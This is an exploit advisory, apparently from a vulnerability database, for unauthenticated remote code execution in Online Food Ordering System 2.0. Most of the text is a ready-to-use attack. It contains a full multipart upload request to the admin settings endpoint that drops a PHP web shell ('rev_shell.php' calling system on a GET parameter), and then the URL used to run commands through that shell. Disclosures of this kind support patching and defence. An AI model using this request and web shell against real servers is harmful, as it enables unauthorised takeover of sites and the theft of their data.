Online Food Ordering System 2.0 Shell Upload

2023.01.11
Credit: Hakan Sonay
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated) # Date: 01/10/2023 # Exploit Author: Hakan Sonay # Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code # Version: 2.0 # Tested on: Windows 10 / XAMPP ############## Unauthenticated File Upload Request ############## POST /fos/admin/ajax.php?action=save_settings HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------19276025152284567381240485635 Content-Length: 831 Origin: http://localhost Connection: close Referer: http://localhost/fos/admin/index.php?page=site_settings Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------19276025152284567381240485635 Content-Disposition: form-data; name="name" Online Food Ordering System V2 -----------------------------19276025152284567381240485635 Content-Disposition: form-data; name="email" info@sample.com -----------------------------19276025152284567381240485635 Content-Disposition: form-data; name="contact" +6948 8542 623 -----------------------------19276025152284567381240485635 Content-Disposition: form-data; name="about" <p>shell command:</p><p>/assets/img/&lt;file_name&gt;.php?cmd=whoami</p> -----------------------------19276025152284567381240485635 Content-Disposition: form-data; name="img"; filename="rev_shell.php" Content-Type: text/php <?php echo system($_GET['cmd']); ?> -----------------------------19276025152284567381240485635-- ############## Command Execution Request ############## http://localhost/fos/assets/img/****rev_shell.php?cmd=[Payload]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com

 

Back to Top